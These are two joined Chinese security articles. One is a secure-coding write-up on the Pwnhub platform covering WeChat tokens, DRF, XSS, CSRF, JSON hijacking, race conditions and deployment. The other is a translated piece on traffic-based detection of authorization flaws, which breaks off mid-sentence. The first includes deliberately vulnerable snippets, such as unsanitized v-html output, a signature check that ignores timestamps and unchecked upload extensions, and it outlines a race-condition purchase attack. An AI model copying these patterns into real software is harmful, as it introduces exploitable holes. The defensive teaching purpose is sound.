任何一个与微信相关的应用，想保证与微信间的通信，需要注意以下4个变量：
1. 应用ID AppID
2. 应用密钥 AppSecret
3. 通信令牌 Token
4. 消息加密密钥 EncodingAESKey
其中，必须配置的前三者，后者可以不用配置；必须保密的是后三者，前者可以公开。
应用IDAppID和应用密钥AppSecret是我们服务器和微信服务器通信的凭证。举个例子，因为Pwnhub需要扫码登录，所以我得向微信服务器提出这个需求，并拿到二维码图片。那么，微信服务器信任这个请求的前提就是我需要带上access_token访问，而access_token是一个临时凭证（有效期2小时），拿到这个临时凭证的方式就是利用AppID和AppSecret。
AppID是告诉微信服务器“我是谁”，而AppSecret是证明我是“这个人”的凭证，微信确认了这二者的对应关系后，就会给我发放一张有效期为2小时的“通行证”。以后出入微信服务器都应该带上这个通行证，也就是access_token；如果过期，用相同的方法再次获取。
通信令牌Token是微信服务器访问我们服务器的凭证。这就涉及到HTTP协议的特点，因为HTTP协议是一个无状态的协议，所以，虽然我向微信服务器证明了我是谁，但是并不能建立一个“通信通道”，所以当微信服务器需要访问我的时候，我还需要验证他的身份。
Token相当于是一个签名密钥，微信服务器在访问我之前，会生成一个随机数，并和当前时间戳、Token一起使用sha1签名后发送给我的服务器。我需要对其进行校验，如果签名不正确的会就返回错误。
消息加密密钥EncodingAESKey是微信后来推出，以确保通信信息不被中间人窃取的方式。因为微信公众号使用者的服务器不一定配置了https，所以通信过程中可以选择使用EncodingAESKey来加密消息内容。
举个例子，用户、Pwnhub与微信服务器间通信流程如下：
这个过程存在着几个经常被开发者忽视的问题：
* AppSecret、Token泄露
* timestamp不进行验证，导致的信息永不过期
* 服务端没有配置HTTPS，且EncodingAESKey不设置，导致中间人劫持
AppSecret、Token泄露是老问题了，很多开发者将自己的代码直接上传到github等第三方代码托管平台，而没有删除此类敏感信息；即使用户及时发现并删除了信息，git的特性也导致攻击者可以在以往提交的记录中找到这些信息。好在AppSecret和Token都能重置，一旦发现有泄露的情况，第一步应该是重置这两个配置。
时间戳不验证，这个问题在微信公众号示例代码中就存在：
<?php
...
public function decryptMsg($msgSignature, $timestamp = null, $nonce, $postData, &$msg)
{
if (strlen($this->encodingAesKey) != 43) {
return ErrorCode::$IllegalAesKey;
}
$pc = new Prpcrypt($this->encodingAesKey);
//提取密文
$xmlparse = new XMLParse;
$array = $xmlparse->extract($postData);
$ret = $array[0];
if ($ret != 0) {
return $ret;
}
if ($timestamp == null) {
$timestamp = time();
}
$encrypt = $array[1];
$touser_name = $array[2];
//验证安全签名
$sha1 = new SHA1;
$array = $sha1->getSHA1($this->token, $timestamp, $nonce, $encrypt);
$ret = $array[0];
if ($ret != 0) {
return $ret;
}
$signature = $array[1];
if ($signature != $msgSignature) {
return ErrorCode::$ValidateSignatureError;
}
$result = $pc->decrypt($encrypt, $this->appId);
if ($result[0] != 0) {
return $result[0];
}
$msg = $result[1];
return ErrorCode::$OK;
}
可见，验证安全签名相等以后就直接解密，那么，时间戳timestamp就没有任何意义了。正确的做法应该是，在验证签名相等的同时，检查当前时间和时间戳的差是否在一定范围内。
EncodingAESKey是保证服务器和微信公众号之间的通信不被第三方监听。如果你得服务器没有配置HTTPS证书，就应该正确配置该值。
除此之外，由于微信公众号是用XML进行通信，所以难免会遇到XML安全相关的问题：虽然保证Token不泄密的情况下，第三方用户无法对服务器进行请求；但极端情况下，我们是不应该相信任何用户的输入，即使该用户是微信服务器。
XXE等XML中常见的安全问题我就不多说了，我使用Python的模块defusedxml（ [defusedxml
0.5.0](http://link.zhihu.com/?target=https%3A//pypi.python.org/pypi/defusedxml)
）来确保XML解析时候的安全。
## **API安全**
由于是前后端分离项目，Pwnhub前台部分全部使用API通信。API安全是Pwnhub整体安全的重中之重，应该API的通信可以看做是动作和数据的交换，一旦有没有配置好的部分，将可能导致水平权限绕过和信息泄露等漏洞。
Pwnhub后端使用Django-Rest-Framwork开发（后文用DRF简称），DRF是一个基于Django的API扩展库，我们通过其内置的Serializer概念，即可很方便地控制Model中“我想让用户看到的属性”和“用户可以控制的属性”。
前段时间，有个朋友来问我，DRF的Serializer会不会导致反序列化相关的漏洞。其实很多人误会了此处Serializer的角色，虽然它有这样一个容易被人误解的名字，但Serializer实际作用和原生Django中的Form类似，主要作用是控制用户输入的内容，并进行校验。但有一个不同点是，Serializer还能控制输出信息的范围。
我们可以把Serializer理解为一个Model和View之间的媒介，View将用户输入的信息发送给Serializer，Serializer进行筛选和校验，成功后发送给Model，保存进数据库；Model从数据库中取出信息交给Serializer，Serializer进行筛选，只显示开发者允许显示的内容，并交给View，Views显示出来。
在代码中，我们通过在Serializer里定义fields，来限制允许显示或修改的属性：
class UserSerializer(ModelSerializer):
class Meta:
model = User
fields = [
'id', # 用户id
'username', # 用户名
'email', # 邮箱
'password', # 密码
'rank', # 积分
'coin', # 金币
'mugshot', # 头像
'tag', # 用户擅长方向
'introduction', # 个人介绍
'signature', # 签名
'date_joined' # 注册时间
]
read_only_fields = [
'id',
'username',
'email',
'rank',
'coin',
'date_joined'
]
上述代码是一个简单的用户Model对应的Serializer，可见，我通过定义fields，列出程序需要的有哪些字段；再通过定义read_only_fields，来限制哪些是只读字段。
也就是说，用户id、用户名、邮箱、用户积分、金币和注册时间是不允许修改的。
但上述代码有一个很明显的问题：虽然限制了哪些字段是只读的，但没有限制哪些字段是只写的。
如果使用DRF的内置View，在每次创建或更新一个Model对象后，会自动显示修改后的Serializer，也就是fields里所有的字段值。但实际上有些字段是不太适合显示的，比如password，这个字段应该定义为“只可写而不允许读”：
extra_kwargs = {
'password': {'write_only': True}
}
这个细节是开发很容易忽视的，如果设计不好，将很可能导致类似前几天Gitlab出现的任意用户敏感信息泄露漏洞（CVE-2017-0882）。
不过，DRF里定义write_only和read_only的方式确实比较奇葩，read_only有简单写法read_only_fields，但write_only则没有。
## **权限控制**
DRF有一套自定义性很高的鉴权机制。
因为其为一个API框架，所以面向的前端可能是浏览器，也可能是手机APP，所以常规Web中以Cookie和Session授权的方法就不一定有效了。
DRF内置了三种授权（authentication）方法：HTTP基础认证、Session、Token。HTTP基础认证适合于纯浏览器的前端环境，Session适合于浏览器或基于浏览器内核的应用程序，Token适合无浏览器环境的应用程序。
用户也可以定义自己的授权方法，并任意搭配它们。举个例子，Pwnhub现在使用的是Session进行授权，以后如果要开发手机App，可能会增加基于Token的授权方法。
通过授权方法，DRF给每个请求标记上一个用户（未登录的用户被称为匿名用户AnonymousUser），但该用户是否有权限访问某个API，这就得问“许可模块”（Permission）了。
也就是说，Authentication模块只负责给请求“发通行证”，Permission模块负责检查这个“通行证”是否有权限访问某个地点。
不同的API
View可以选择使用不同的Authentication和Permission，根据自己需要的访问权限任意搭配，也可以使用全局默认值。Pwnhub前台权限很简单，用Session授权，并只有两种Permission：登录用户和匿名用户，所以配置起来也比较简单。
另外，权限方面DRF还提供了一个更高级的模块：Throttling。使用这个模块，即可定义某个“用户”访问某个API的频度。举个例子，某视频网站允许每个免费用户每天观看5个视频，就需要经过如下步骤：
Authentication:Session认证 --> Permission:是否是已登录用户 --> Permission:是否是免费用户 -->
Throttling:是否已观看5个视频 --> View:返回视频地址
当然，Pwnhub的功能暂时还没有这么复杂。
## **前端安全**
前端安全是不可绕过的一个话题。近年来前后端分离的开发模式一定程度上减少了后端代码直接输出用户输入导致的XSS等前端漏洞，但同时也催生了一种新的攻击方式：在前后端没有完全分离的情况下，将可能出现“客户端模板注入漏洞”（Client-Side Template Injection ）。
这种攻击方式可以参考这篇文章（ [XSS without HTML: Client-Side Template Injection with
AngularJS](http://link.zhihu.com/?target=http%3A//blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
），本文就不对其进行介绍了。本文从4个切入点来说说Pwnhub可能面临的前端漏洞。
**XSS in Vue**
Pwnhub前端基于Vue框架，开发者可以通过数据绑定的方式，很容易地在前端显示从后端获取的数据，而且这个过程是相对安全的：因为在将数据输出到模板的时候，Vue默认会将数据识别为纯文本，而非HTML代码。
但并不是所有位置的输出都适合纯文本，也不是所有程序员都能正确理解他需要编写的逻辑。
举个例子，如果产品经理希望用户评论能包含图片、超链接，那么前端页面在输出评论内容的时候就不能对其进行转码。在Vue中需要使用v-html指令：
<div v-for="comment in $store.state.comments" :key="comment.id">
{{ comment.username }}: <div v-html="comment.content"></div>
</div>
见上述代码，comment.username是评论者名称，它被包裹在双大括号内，默认识别为纯文本；而comment.content放在v-html指令中，将会被识别为HTML代码。那么，一旦用户提交恶意HTML评论，后端没有处理的情况下，将造成XSS漏洞。
如果你有这个需求，可以使用我编写的python-xss-filter（ [phith0n/python-xss-filter](http://link.zhihu.com/?target=https%3A//github.com/phith0n/python-xss-filter) ）在后端对评论内容进行处理。
**XSS in Django**
由于Python运行模式的特殊性（由某一入口点统一进入），上传文件后缀通常也不会卡的太死，只要不覆盖到程序本身的py文件，都不会有太大问题。所以，Django本身很多操作默认是不检查后缀的，比如我们定义一个model，其中包含一个ImageField()：
class Attachment(models.Model):
name = models.CharField('名称', blank=True, null=True, max_length=256)
photo = models.ImageField('图片', blank=True)
...
很多人认为，ImageField是Django提供的图片字段，按理说Django自己应该已经做了细致的检查。但实际上Django只检查用户上传的文件内容是否是图片，而不会检查文件后缀是否是图片后缀。
但服务器中间件和浏览器并不会根据文件内容来判断一个文件的mime_type，而是根据后缀。所以，我只需要上传一个文件内容符合GIF格式，而后缀是.html的文件，即可构造一个XSS漏洞。
访问a.html，成功执行：
假如当前服务器支持SSI或PHP等语法，那么这个问题可能更会上升成一个服务端漏洞。
解决这个问题的方法是，在ImageField字段上增加validators，如photo =
models.ImageField('图片',validators=[check_image_extension], null=True,
blank=True)，check_image_extension函数里对文件后缀进行检查即可。
**CSRF漏洞**
CSRF漏洞在Django中有默认的检查：所有POST, PUT, PATCH和DELETE请求都会检查CSRF Token。但Django对CSRF
Token检查机制是，将Cookie中的Token和表单或HTTP头中的Cookie进行比对，以避免请求被恶意伪造。
这就和DRF的设计理念有些出入了：DRF面向的前端可以是浏览器，也可能不是浏览器，Cookie并不是一个必要的值。
所以，DRF在APIView中强制关闭了Django原生的CSRFCheck（csrf_exempt(view)）：
class APIView(View):
...
@classmethod
def as_view(cls, **initkwargs):
"""
Store the original class on the view function.
This allows us to discover information about the view when we do URL
reverse lookups. Used for breadcrumb generation.
"""
if isinstance(getattr(cls, 'queryset', None), models.query.QuerySet):
def force_evaluation():
raise RuntimeError(
'Do not evaluate the `.queryset` attribute directly, '
'as the result will be cached and reused between requests. '
'Use `.all()` or call `.get_queryset()` instead.'
)
cls.queryset._fetch_all = force_evaluation
view = super(APIView, cls).as_view(**initkwargs)
view.cls = cls
view.initkwargs = initkwargs
# Note: session based authentication is explicitly CSRF validated,
# all other authentication is CSRF exempt.
return csrf_exempt(view)
并将CSRF检查放在了SessionAuthentication中，TokenAuthentication和BasicAuthentication中是没有CSRF检查的。（当然也不需要检查，因为Token或401账号密码都是攻击者不能获取的）
如果是开发者自己定义Authentication，那么CSRF验证这块就需要格外注意了。
另外，DRF只检查登录用户的CSRF
Token，这个特点在大部分情况下都没有问题，因为非登录用户也基本不存在请求伪造的必要了。但有一种情况，就是用户登录的操作，我们需要手工给这些方法加上@method_decorator(ensure_csrf_cookie)用来生成CSRF
Token，并进行手工检查（如果你使用Django自带的login view并开启了CSRF全局校验，就无需手工检查了）。
Pwnhub会在前端获取Cookie中的CSRF Token，并附加到所有HTTP请求中，以保证正常的流程不会被拦截。
**Json Hijacking**
后端API返回中可能包含一些敏感信息，那么，如何在前端保证这些数据不被其他人窃取？
理论上，浏览器的跨域原则足够防御这一类攻击了，但是如果后端返回的数据被浏览器“错误”地认为是一个合法的JavaScript或css数据，那么就可能造成信息泄露攻击了，这也是Jsonp劫持等很多跨域漏洞的原理。
DRF在输出层，提供了一个叫Renderer的概念，也就是输出数据的渲染方式。通常在开发环境下，为了调试方便，我会使用BrowsableAPIRenderer，这个渲染方式会提供一个Web页面用来输入和显示数据：
但如果需要和前端配合使用的时候，就需要用到JSONRenderer了。它会将Serializer输出的数据转换成Json再返回给前端框架：
见上图，虽然实际我们需要传递的数据是一个数组["PWN","REVERSE","CRYPTO","MISC","WEB"]，但Pwnhub对数据进行了一层包裹，那么这层包裹对改进安全性上有什么帮助？
这就涉及到Json劫持漏洞了（区分json劫持和jsonp劫持）。众所周知，Json是可以被JavaScript原生支持的，所以，如果我们使用`<script>`标签去加载我们的API返回结果，将会有一些奇妙的反应：
1. 如果Json API返回的是一个对象，将抛出Uncaught SyntaxError: Unexpected token :异常，因为浏览器会认为它并不是一个合法的JavaScript对象（为什么？）
2. 如果Json API返回的是一个数组，浏览器将不会抛出异常
所以，如果我返回了第二种情况，攻击者通过对JavaScript数组对象的劫持，将可能可以窃取数组中的数据。
关于最新版浏览器的JSON Hijacking，可以参考这篇文章： [JSON hijacking for the modern
web](http://link.zhihu.com/?target=http%3A//blog.portswigger.net/2016/11/json-hijacking-for-modern-web.html)
Django自带的JsonResponse默认会检查用户传入的数据是否是一个字典，因为只有字典对应到Json中才是对象，相对安全：
class JsonResponse(HttpResponse):
"""
An HTTP response class that consumes data to be serialized to JSON.
:param data: Data to be dumped into json. By default only ``dict`` objects
are allowed to be passed due to a security flaw before EcmaScript 5\. See
the ``safe`` parameter for more information.
:param encoder: Should be an json encoder class. Defaults to
``django.core.serializers.json.DjangoJSONEncoder``.
:param safe: Controls if only ``dict`` objects may be serialized. Defaults
to ``True``.
:param json_dumps_params: A dictionary of kwargs passed to json.dumps().
"""
def __init__(self, data, encoder=DjangoJSONEncoder, safe=True,
json_dumps_params=None, **kwargs):
if safe and not isinstance(data, dict):
raise TypeError(
'In order to allow non-dict objects to be serialized set the '
'safe parameter to False.'
)
if json_dumps_params is None:
json_dumps_params = {}
kwargs.setdefault('content_type', 'application/json')
data = json.dumps(data, cls=encoder, **json_dumps_params)
super(JsonResponse, self).__init__(content=data, **kwargs)
如上，safe默认为True，在这种情况下，data必须为dict。
## **商城逻辑**
2017年3月初，Pwnhub上线了一个简单的商城功能，参与比赛的用户可以用自己在比赛中获得的积分兑换礼品。新功能的上线，势必引入新的安全威胁，因为Pwnhub的商城交易纯属虚拟货币逻辑，并不复杂，所以除了传统的水平权限漏洞以外，商城逻辑中最容易被忽视的漏洞其实是条件竞争。
条件竞争漏洞已经多次发生在我们周围了，最近一次是小密圈在2017年2月下旬出现的用户超额提现的问题（ [小密圈产品事故@2017
No.2](http://link.zhihu.com/?target=http%3A//blog.xiaomiquan.com/%3Fp%3D609)
）。
Pwnhub商城中可能出现条件竞争漏洞的地方有两处：
1. 用户购买某商品时，余额判断后的条件竞争
2. 用户购买多件商品时，商品数量判断后的条件竞争
有的同学可能还不太理解一个商城购买商品的逻辑，我以Pwnhub为例画了个简图：
所以，上述逻辑攻击者有两种攻击方式：
1. 某一个用户同一时间对不同商品发送多次购买请求，这些请求都通过了“用户余额判断”，该用户余额被扣成负数，相当于使用它没有的钱购买了多件商品
2. 不同用户同一时间对同一商品发送多次购买请求，这些请求都通过了“商品剩余数量判断”，结果导致商品数量被买成负数，相当于买到了无货的商品
举个例子，A用户拥有10个金币，刚好购买价值8金币的商品B。这种情况下，A用户开启10个线程同时发送购买商品请求，在数据库尚未修改的情况下，这10个请求均发现A的余额是足够购买B商品的，然后扣除8金币并成功下单。此时A用户的金币数量为10
- 8 * 10 = -70，但10个订单均已经成功支付了。
针对类似的攻击，大部分数据库通常都提供了某个记录加锁的功能，也就是在查询某条记录的时候使用SELECT FOR UPDATE，在Django
ORM里使用.select_for_update()语法。
with transaction.atomic():
# 获取用户和商品对象
user = User.objects.select_for_update().get(pk=self.request.user.pk)
gift = Gift.objects.select_for_update().get(pk=serializer.validated_data['gift'].pk)
# 检查用户余额和商品数量
serializer.atomic_validate(user, gift)
# 下订单
order = serializer.save(user=self.request.user)
# 扣除用户余额
user.coin -= order.cost
user.save()
# 扣除商品数量
gift.amount -= order.amount
gift.save()
另外，商城逻辑容易出BUG的地方还有几个点：
1. 下单和支付逻辑不同步的问题
2. 购买商品数量是负数的情况
3. 前端传入商品价格的情况
第一个问题基本不存在了，因为Pwnhub是前后分离，下单操作可以在前端完成，后端只要接收到“购买（支付）”请求，就立马扣款。
第二、三个问题，我们在Serializer中对其进行校验即可：
class BuySerializer(serializers.ModelSerializer):
amount = serializers.IntegerField(label='数量', min_value=1, max_value=10)
class Meta:
model = models.GiftLog
fields = [
'order_no',
'gift',
'address',
'remark',
'amount',
]
read_only_fields = ['order_no']
解决第二个问题的方法是在IntegerField里增加min_value，解决第三个问题的方法是……fields中根本没有商品价格，因为商品价格是从gift对象的price中获取的。
## **上线前夕**
做了那么一大堆工作，如果部署的时候稍有不慎，可能前面的安全工作都白做了。
部署的时候应该从如下三个切入点考虑：
1. Django框架安全部署
2. Django-Rest-Framework框架安全部署
3. Web容器安全部署
**Django框架安全部署**
Django考虑的非常周到，在项目上线前，我们可以通过执行./manage.py check --deploy命令来查看可能存在的安全问题：
可见，默认生成的项目，存在以上安全问题，在部署前需要解决：
1. SECURE_HSTS_SECONDS 是否开启HSTS头，强制HTTPS访问
2. SECURE_CONTENT_TYPE_NOSNIFF 是否输出nosniff头，以防止类型混淆类漏洞
3. SECURE_BROWSER_XSS_FILTER 是否输出x-xss-protection头，让浏览器强制开启XSS过滤
4. SECURE_SSL_\REDIRECT 是否让HTTP的请求强制跳转到HTTPS
5. SESSION_COOKIE_SECURE 是否将Cookie设置为Secure（不允许在HTTP中传输）
6. CSRF_COOKIE_SECURE 是否将CSRF Token Cookie设置为Secure（不允许在HTTP中传输）
7. CSRF_COOKIE_HTTPONLY 是否将CSRF Token Cookie设置为HTTP ONLY
8. X_FRAME_OPTIONS 是否返回X-FRAME-OPTIONS: DENY头，以防止被其他页面作为框架加载
9. DEBUG 是否开启调试模式
其中，DEBUG是必须要关闭的。其他的选项主要看你对安全的要求了，例如如果你得页面不强制使用HTTPS，那么其中的一些防止中间人劫持的选项就没必要设置。
另外，上线前，最好修改后台地址，如果你不需要使用Django自带的后台，可以在INSTALLED_APPS里将其移除。SECRET_KEY重新进行生成，不要和开发、测试环境相同：openssl
rand 10 -out .secret。
**Django-Rest-Framework框架安全部署**
前文已经说了，开发环境中DRF通常使用BrowsableAPIRenderer，但在部署到生产环境后，最好将这个Renderer移除，只保留我们需要用到的JSONRenderer：
REST_FRAMEWORK = {
'DEFAULT_RENDERER_CLASSES': (
'rest_framework.renderers.JSONRenderer',
#'rest_framework.renderers.BrowsableAPIRenderer',
),
...
}
因为攻击者可以利用BrowsableAPIRenderer输出的表单和返回结果，很容易地进行测试和攻击，也可能是DRF本身出现的前端安全漏洞（如XSS），会影响到你。
另外，DRF自带一个用户登陆View（ [4 - Authentication and permissions - Django REST
framework](http://link.zhihu.com/?target=http%3A//www.django-rest-framework.org/tutorial/4-authentication-and-permissions/%23adding-login-to-the-browsable-api) ），如果你不想用户被爆破的话，也请检查自己的urls.py，是否添加了这个View。
**Web容器安全部署**
这个就是常规话题了，按照服务器正常加固方法加固即可。
因为Pwnhub部署在Docker中，所以我们需要用Nginx在前端进行转发，但Django中有些需要获取IP的方法（Django有个配置叫INTERNAL_IPS，如果访客IP在这个配置项中，将可能可以享受一些DEBUG模式才有的功能），我使用了HTTP_X_FORWARDED_FOR这个头，那么在Nginx中就必须覆盖用户提交的头，否则就有可能造成任意IP伪造漏洞。
## 总结
作为一个小团队，虽然很难像微软等大公司这样去实现完整的SDL，但是针对Pwnhub这样小规模的项目，通过学习上述的安全编码知识，我们也能最大程度保障这个项目不被恶意攻击。如果大家有一些安全编码相关的想法，欢迎与我们讨论。
* * * | 社区文章 |
# 基于全流量权限漏洞检测技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
关于安全领域内漏洞的发现，技术手段非常多，工具也非常多，大致阶段可分为事前、事中、事后来处理。事前大多采用SDL、白盒扫描等；事中、事后有NIDS及漏洞感知，甚至还有WAF来拦截恶意流量等。本文作者主要想尝试通过流量扫描的方式，去发现更多的潜在漏洞。
本文将围绕“权限问题”这类漏洞展开讨论，因为权限一旦出问题，很可能导致大规模的敏感信息泄漏，这样的后果可能比一两个跨站要严重的多。权限问题是每个公司非常重要且很难处理好的一种漏洞，这类漏洞是和业务相关性很强的一种漏洞。对安全团队来说，如果对业务不是足够了解，就无法对权限问题有一个很好的治理直到问题收敛。所以本文针对这些困难和问题，尝试去循序渐进地解决互联网公司权限问题收敛，也不可能做到100%的检测率，权当抛砖引玉。
权限问题可分为以下几类：
1、未授权访问问题。
2、水平权限问题。
3、垂直权限问题。
主要是对这三类进行扫描和检测。
我们将把整个过程分为三个阶段：
1、数据清洗，清洗出需要的URL，并通过模型过滤那些不需要检测的URL。
2、扫描，对这些重点URL进行扫描尝试是否存在越权访问的行为。
3、运营阶段，通过运营进一步去除误报的URL、确认漏洞的危害、是否有进一步利用的可能、以及其他相关接口是否还存在相同的漏洞，用来反哺修正扫描器。
## 二、漏洞检测
权限问题，顾名思义就是因为对用户权限控制不当导致的问题。为了便于检测可以把它分为二个问题：1、未授权的问题。2、有授权的问题（水平、垂直）。其中对于用户的操作又可分为增、删、改、查，4个操作的识别。
先看下技术架构：
技术架构
整个系统分为四层：
流量清洗层：互联网公司每日的流量高达几百亿条，我们不能对全部流量进行检测，也没必要。所以需要清洗出可能存在该类问题的URL并且去重，做到精准定位，这样可以节约大量时间用于检测。
模型层：模型层主要过滤那些无法通过规则简单过滤的干扰流量。
扫描层：扫描层通过模型输出的流量逐个进行扫描，并且检测是否存在漏洞。
运营层：最后一层主要是安全运营，逐个查看被扫描器有可能存在的漏洞URL，并且可以去反推整个系统是否还有其他接口存在此类漏洞用于反哺扫描器。
### 0x01、收集流量
互联网公司的每日流量几乎都是海量数据，对每个流量都进行检测速度太慢，也没必要，并且全量的数据回放会混着非常多的干扰数据，这种数据本身就不需要做权限控制，或本身就不存在权限问题。这归结于敏感信息的识别，如果这部分内容属于某一个人或某一个群体，被群体之外的人访问了或编辑了，那就是有问题的，所以为了降低后续误报带来的影响和运营困难，我们前期先要对流量进行筛选，把那些重要的流量清洗出来再进行扫描。这样做的优点很明显，就是有的放矢；而缺点也很明显，如果数据选择面太窄就会有遗漏。所以在做数据收集时一定要根据业务不断的迭代，增加敏感数据的维度。
**1、流量清洗**
流量清洗的主要目标是清洗出具备返回敏感信息的API用于后续的检测，当前清洗出了我们比较关心的敏感信息，包含但不限于手机号、 ** _、_**
、邮箱、组织架构、订单、密码等含有敏感数据的URL作为检测目标。
清洗逻辑这里尽量多用UDF来判断，具体逻辑就不再这里赘述了，UDF函数如下：
代码块SQL
get_phone_number(response) as phone_num,
get_id_card(response) as id_card,
get_bank_card(response) as bank_card,
get_email(response) as email,
get_mark_number(response) as mark_number,
但是清洗出来的敏感信息还需要做第一次误报处理，例如提取出的手机号是包含在一串字符串中的，
样例1：19f3f34d44c135645909580e99ac
我们需要通过前后字符及上下文来判断，这个是属于真实的手机号、 _*_
等敏感信息，还是某一个字符串里面的某一部分，如果是截断的字符串那就要作为非手机号过滤掉。
**2、归一化并采样**
由于流量数据非常大，每日几百亿的URL并且绝大部分都是重复的，没必要做重复的扫描和检测，所以这里需要做2件事：1、归一化。2、采样。
首先需要做的是归一化。
归一化：归一化的目的是为了合并同类URL做更好的采样收录。URL一般的构成形式如下：
代码块HTTP
https://www.x.com/abc/cdef?name=ali&id=1#top
其中：https – PROTOCOL ，www.x.com – DOMAIN，/abc/cdef – PATH，name=ali&id=1 –
PARAM，#top – FRAGMENT
但绝大部分公司内，很多URL的PATH部分不会这么规律，而是采取随机字符串的方式。
代码块HTTP
a.vip.x.com/cloud/x/y/19f3f34d44c0e99ac/e5f85c0875b5643dc37752554eec
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/e9b61adc14e12d071047d71b143b
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/4b0ed927c1454e0a2ced373a0863
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/fed8f52005cc8b4fe2a3d82728f8
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/59666a1b3d174c21ced72340c94d
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/aab104ff5ae8ca999ba9b01c7067
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/365ebe92ff1bc62e3158144a8fe5
a.vip.x.com/cloud/x/y/1c12c3cf727db5e24/c0894925b18cf1c3d71dc9f56945
其实上面这些都是访问的一个资源，扫描器只需要对一个进行检测就可以了，没必要全量检测，所以这类URL需要进行归一化，进行采样处理既减少了重复工作，又让处理变得更简单。归一化后的URL如下：
代码块Plain Text
a.vip.x.com/cloud/x/y/{s}/{s}
这里归一化的算法主要采用正则，合并URL路径中含有序列码、纯数字、标签、中文等URL，让他们归为一类：
代码块SQL
concat(domain, REGEXPREPLACE(url_path,
‘/([0-9A-Za-z\-\.@|,]{30,}|[a-zA-Z]+[0-9A-Za-z_\-\.@|,][0-9]+|[0-9]+[0-9A-Za-z_\-\.@|,][a-zA-Z]+|[0-9\.,\-]+|[\u4E00-\u9FA5]+)’,’/{s}’))
as req_url_path
如果一家公司没有一个非常统一的编码标准，那么他们的URL链接复杂程度，就远远不止上面这种类型。笔者遇到过各种千奇百怪的URL形式，有的URL里面甚至包含中文，这都可能导致噪音。面对这一状况，目前没有一个很好的处理手段，只能遇到了就修改正则。
采样：这里采样比较简单的是同一类型URL每小时取一条数据，因为当前的检测划窗定的是1小时。通过SQL的row_number函数对归一化后的URL链接每小时采样一条，采样过程中需要注意：过滤掉返回不成功的流量、扫描器的流量、异常的流量，因为这些流量可能会干扰你的扫描器，因为它本身就不是一个正常流量，在经过你的扫描器修改后，很可能得不到正确的结果。
代码块SQL
select *
from (
select *,
row_number() over (partition by req_url_path) as row_num
from (
select *,
concat(domain, REGEXP_REPLACE(url_path, '/([0-9A-Za-z_\\-\\*.@|,]{30,}|[a-zA-Z]+[0-9]+[0-9A-Za-z_\\-\\*.@|,]*|[0-9]+[a-zA-Z]+[0-9A-Za-z_\\-\\*.@|,]*|[0-9\\*.,\\-]+)','/{s}')) as req_url_path
from data.sec_ds_x_x_x_x_hh
where dt= 'yyyymmdd'
and hour = 'hour'
) t
) t1
where row_num = 1
**3、基于提升树的分类（GBDT）模型**
上面通过归一化、采样、去重等手段锁定了扫描器需要检测的目标，并且也缩小了一定范围，但我们这里忽略了一个问题——并非全部手机号码都是重要的，互联网公司都是提供信息的网站，很多卖家信息等都是公开的信息，其中就包括手机号，这在淘宝、京东等的网页就能轻松获取，这部分信息如果作为敏感信息来进行识别权限问题，显然是不合适的，所以需要采用一定方法过滤掉这些卖家
** _息。先来看下_** 息的一种形式如下：
公开卖家数据：
代码块JSON
{“a”:200,”b”:{“c”:”27816”,”d”:”1954900”,”e”:”实木上下铺木床成人高低床双层床二层床子母床多功能儿童床上下床下单立减7000”,”f”:”到店更多惊喜礼品等你拿”,
“g”:”https://*.x.com/app/x/x.html?y=*&x=*&z=0","h":true,"i":"实木家具"},"j":0}
真正的敏感手机号：（手机号、 _*_ 这里已做脱敏处理）
代码块JSON
{“x”:2,”a”:0,”b”:”默认”,”c”:””,”d”:false,”e”:2,”f”:””,”g”:”130**7844”,”h”:””,”i”:0.0,”j”:”0832173740073”,”k”:””},”l”:null,”m”:null,”n”:null,
“o”:”2020-03-17 08:20”},{“p”:”783755538501”,”q”:”3813620001”,”r”:”2020-03-18 08:25”,”s”:”2020-03-18 12:58”,”t”:”D7126”,”u”:”ZHQ”,”v”:”海”,
“w”:”ZWQ”,”x”:”西”,”y”:264.0,”z”:”2020-03-16 23:50:25”,”aa”:”300”,”ab”:”出票成功”,”ac”:”260”,”ad”:”xxx票务”,”ae”:”纸质票”,”af”:”E3W5343313”,”ag”:
“票务—1号”,”ah”:[{“ai”:”**3759745069”,”aj”:”886119”,”ak”:”陈“,”al”:”B”,”am”:”“,”an”:”E*“,”ao”:264.0,”ap”:”1”,”aq”:
“成人票”,”ar”:”14”,”as”:”二等座”,”au”:264.0,”av”:”14”,”aw”:”二等座”,”ax”:””,”ay”:”4”,”az”:”5D号”,”ba”:null,”bb”:”**5343313”}]
所以我们需要做的就是，过滤掉第一类卖家数据，留下第二类敏感数据做检测。
首先简单介绍下GBDT（Gradient boosting Decision
Tree）梯度提升决策树，它的主要思想是采用加法模型的方式不断减小训练过程产生的残差来达到将数据分类或者回归的算法，它的基学习器采用提升树。提升树模型可以表现为决策树的加法模型，
其中T(x;Θm)表示决策树，Θm表示树的参数，M为树的个数。
他的训练过程大致是先构建一个回归决策树，然后用提升的思想拟合上一个模型的残差，结果由训练出来的多棵决策树的结果累加起来产生。这是一种由多个弱分类器构建而成的分类算法是一种典型的集成学习算法（Ensemble）。
（1）特征工程
俗话说特征决定模型逼近上限的程度，根据需求从业务中提取了40多个特征，由于篇幅过长，在这里只能做一个归类，大致分为{访问量，访问行为，参数类型，返回类型，敏感信息占比，特定信息占比，请求成功率}共40多个特征用于分类器的学习。当前的项目中训练集采用了10000条数据，手工+规则进行标注和修正，其中正样本3400多条，负样本6500多条，正负比例大约是1:2。
这里1、3标为敏感数据、2、4标为非敏感数据（卖家 _*_ 息），通过以下特征我们建立第一棵Tree，
Features 1 构建Tree 1
根据Tree1 预测结果计算残差，获得一个残差表。
Feature 2 残差表
根据残差构建Tree2，以此类推
直到达到训练指标便结束训练。最后对所有树进行线性加法计算。
（2）模型评估
模型评估可以用最简单的方式，这里采用的是精度（precision）和召回率（recall）来评估模型。这里选择另外一天的全量数据作为验证集，一共大约有1000多条数据，还是手工标注好正负样本集，过模型后分别统计精度、召回情况。Precision
＝ TP / (TP + FP)、Recall ＝ TP / (TP + FN)。其中TP（true positive）为真正例，FP（false
positive）为假正例，FN（false negtive）假反例。从实验来看，
